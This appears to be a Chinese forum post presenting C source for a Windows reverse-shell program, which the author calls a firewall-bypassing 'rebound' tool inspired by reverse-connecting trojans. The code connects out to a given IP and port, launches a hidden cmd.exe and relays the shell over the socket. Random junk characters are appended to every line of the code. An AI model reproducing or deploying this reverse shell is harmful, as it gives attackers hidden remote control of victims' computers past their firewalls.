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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 /(%!txSNEt  
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/* ============================== '@^mesMG  
Rebound port in Windows NT \r3SvBwhFv  
By wind,2006/7 diKl}V#u  
===============================*/ <:StZ{o;  
#include * COC&  
#include .GCJA`0h  
nH+wU;M  
#pragma comment(lib,"wsock32.lib") 8>I4e5Ym  
od&wfwk(  
void OutputShell(); dI%Nwl%  
SOCKET sClient; S.U#lAn(  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; '_91(~P  
 |vBy=:  
void main(int argc,char **argv) ~*tn|?%  
{ fzN?X=  
WSADATA stWsaData; y (%y'xBP  
int nRet; ' Yy+^iCus  
SOCKADDR_IN stSaiClient,stSaiServer; vI"BNC*Q1  
owA.P-4  
if(argc != 3) Y44[2 :m  
{ "|E'E"_1  
printf("Useage:\n\rRebound DestIP DestPort\n"); @F|pKf:M+  
return; -AB0uMot  
} ' 'p<C)Q  
aZq7(pen  
WSAStartup(MAKEWORD(2,2),&stWsaData); q{L-(!uz7_  
Y7')~C`up^  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); `"#hhKG  
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stSaiClient.sin_family = AF_INET; IGA4"\s  
stSaiClient.sin_port = htons(0); n3\~H9  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); '*G8;91u  
r( bA>L*mk  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) UhU"[^YO  
{ $OzVo&P;  
printf("Bind Socket Failed!\n"); R)=){SI:1)  
return; >h$Q%w{V  
} -6e^`c6{  
D]WrPWL8v  
stSaiServer.sin_family = AF_INET; %@HuAcNi  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 7gRR/&ZK  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); P9jSLM  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) (7"CYAe:;  
{ Y3H5}4QD  
printf("Connect Error!"); Ns\};j?TU*  
return; ^ h2!u'IQ  
} c1 j@*6B  
OutputShell(); CSBDSz  
} NLt"yD3t  
0W)|n9  
void OutputShell() q7I(x_y /  
{ JOwu_%  
char szBuff[1024]; -\25&m!+  
SECURITY_ATTRIBUTES stSecurityAttributes; ;Qq7@(2y  
OSVERSIONINFO stOsversionInfo; $gCN[%+j  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; [|\#cVWs  
STARTUPINFO stStartupInfo; KC8  
char *szShell; ]VS:5kOj`  
PROCESS_INFORMATION stProcessInformation; {f;DhB-jj  
unsigned long lBytesRead; PE?ICou  
_]L]_Bh  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); Zlrbd  
D"IxQ2}k  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); Ou+bce  
stSecurityAttributes.lpSecurityDescriptor = 0; #6C<P!]V  
stSecurityAttributes.bInheritHandle = TRUE; u>*qDr* d  
^AoX|R[1%  
eZ 7Atuv  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); (g1Op~EM  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); jPn.w,=)27  
N7_(,Gu*R  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); >1` '5A}s  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; :G &:v  
stStartupInfo.wShowWindow = SW_HIDE; k+hl6$:Qj%  
stStartupInfo.hStdInput = hReadPipe; .Y^pDR12  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; &%u m#XE  
C)QKodI  
GetVersionEx(&stOsversionInfo); & s:\t L  
Yaz/L)Y;R  
switch(stOsversionInfo.dwPlatformId) ;s+3 #Py  
{ S#Tu/2<}  
case 1: ~Q}!4LH  
szShell = "command.com"; \~  l"  
break; PO ,zP9  
default: 35:RsL  
szShell = "cmd.exe"; Ve<f}  
break; U(%6ny  
} ^UFNds'q  
{~XAg~  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); VLoRS)   
9~y:K$NO  
send(sClient,szMsg,77,0); aq#F  
while(1) 0IBQE  
{ UUF]45t>  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); v@{VQVx  
if(lBytesRead) e7plL^^`  
{ pwV~[+SS_  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); =,X*40=  
send(sClient,szBuff,lBytesRead,0); MooxT7  
} D$E#:[  
else hDc2T  
{ 7\gu; [n  
lBytesRead=recv(sClient,szBuff,1024,0); p[)yn%uh  
if(lBytesRead<=0) break; ^)h&s*  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); KEf1GU6s  
} ;j+*}|!  
} xc7Rrh]}  
XD80]@\za  
return; 9Q\RCl_1  
}
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